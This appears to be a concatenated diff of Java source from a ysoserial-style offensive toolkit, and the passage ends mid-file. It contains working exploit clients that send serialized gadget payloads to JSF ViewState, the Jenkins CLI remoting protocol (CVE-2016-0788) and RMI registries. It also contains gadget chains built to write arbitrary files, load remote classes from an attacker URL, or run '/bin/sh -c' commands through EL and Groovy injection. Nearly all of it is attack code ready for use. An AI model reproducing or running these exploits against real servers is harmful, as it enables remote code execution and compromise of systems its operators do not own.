* @author mbechler
*/
public class JSF {
public static void main(String[] args) {
if (args.length < 3) {
System.err.println(JSF.class.getName() + " <view_url> <args...>");
System.exit(-1);
}
try {
URL u = new URL(args[0]);
// 去除前两个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
if (!(c instanceof HttpURLConnection)) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,120 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
/**
* Jenkins CLI client
* <p>
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
* <p>
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*/
public class JenkinsCLI {
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
System.exit(-1);
}
String jenkinsUrl = args[0];
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if (!(conn instanceof HttpURLConnection)) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if (hc.getResponseCode() >= 400) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -0,0 +1,199 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.JRMPListener;
import com.qi4l.jndi.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
/**
* CVE-2016-0788 exploit (1)
* <p>
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* <p>
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes", "restriction"
})
public class JenkinsListener {
public static final void main(final String[] args) {
if (args.length < 5) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
System.exit(-1);
}
String jenkinsUrl = args[0];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
} catch (Exception e) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, jrmpPort, isa, e);
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
uro,
});
}
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if (start < 0) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if (sep < 0) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if (end < 0) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
}
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
os.flush();
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
}
@@ -0,0 +1,76 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.JRMPClient;
import hudson.remoting.Channel;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
/**
* CVE-2016-0788 exploit (2)
* <p>
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.jndi.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*/
public class JenkinsReverse {
public static final void main(final String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
System.exit(-1);
}
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (t != null) {
t.interrupt();
try {
t.join();
} catch (InterruptedException e) {
e.printStackTrace(System.err);
}
}
}
}
}
@@ -0,0 +1,118 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.*;
/**
* @author su18
*/
public class RMIBindExploit {
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
System.exit(-1);
}
String host = args[0];
int registryPort = Integer.parseInt(args[1]);
String command = args[2];
String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list()));
Subject subject = new Subject();
Set set = new HashSet();
set.add(new UnixPrincipal(command));
Reflections.setFieldValue(subject, "principals", set);
RMIClient r = new RMIClient();
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
r.ip = host;
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
}
static class RMIClient extends RemoteObject {
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote) var4.readObject();
Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);
f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);
HashMap rets = (HashMap) f.get(conn);
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (Exception var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
}
}
@@ -0,0 +1,100 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gadget chain:
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* LazyMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
* <p>
* Usage:
* args = "<filename>;<base64 content>"
* Example:
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
* <p>
* More information:
* https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.JANG})
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(":");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,89 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.QI4L})
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(';');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.jndi.gadgets;
import bsh.Interpreter;
import bsh.XThis;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
return priorityQueue;
}
}
@@ -0,0 +1,52 @@
package com.qi4l.jndi.gadgets;
import bsh.Interpreter;
import bsh.NameSpace;
import bsh.XThis;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.beanshell:bsh:2.0b1"})
@Authors({Authors.KILLER})
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", ".");
i.eval(payload);
Class<?> xthis = Class.forName("bsh.XThis");
Field handlerField = xthis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true);
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
return queue;
}
}
@@ -0,0 +1,94 @@
package com.qi4l.jndi.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* <p>
* Arguments:
* - base_url:classname
* <p>
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P0 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,77 @@
package com.qi4l.jndi.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
@Authors({Authors.QI4L})
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,79 @@
package com.qi4l.jndi.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* 同 C3P0 2 只不过使用了 Groovy
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.QI4L})
public class C3P03 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,157 @@
package com.qi4l.jndi.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
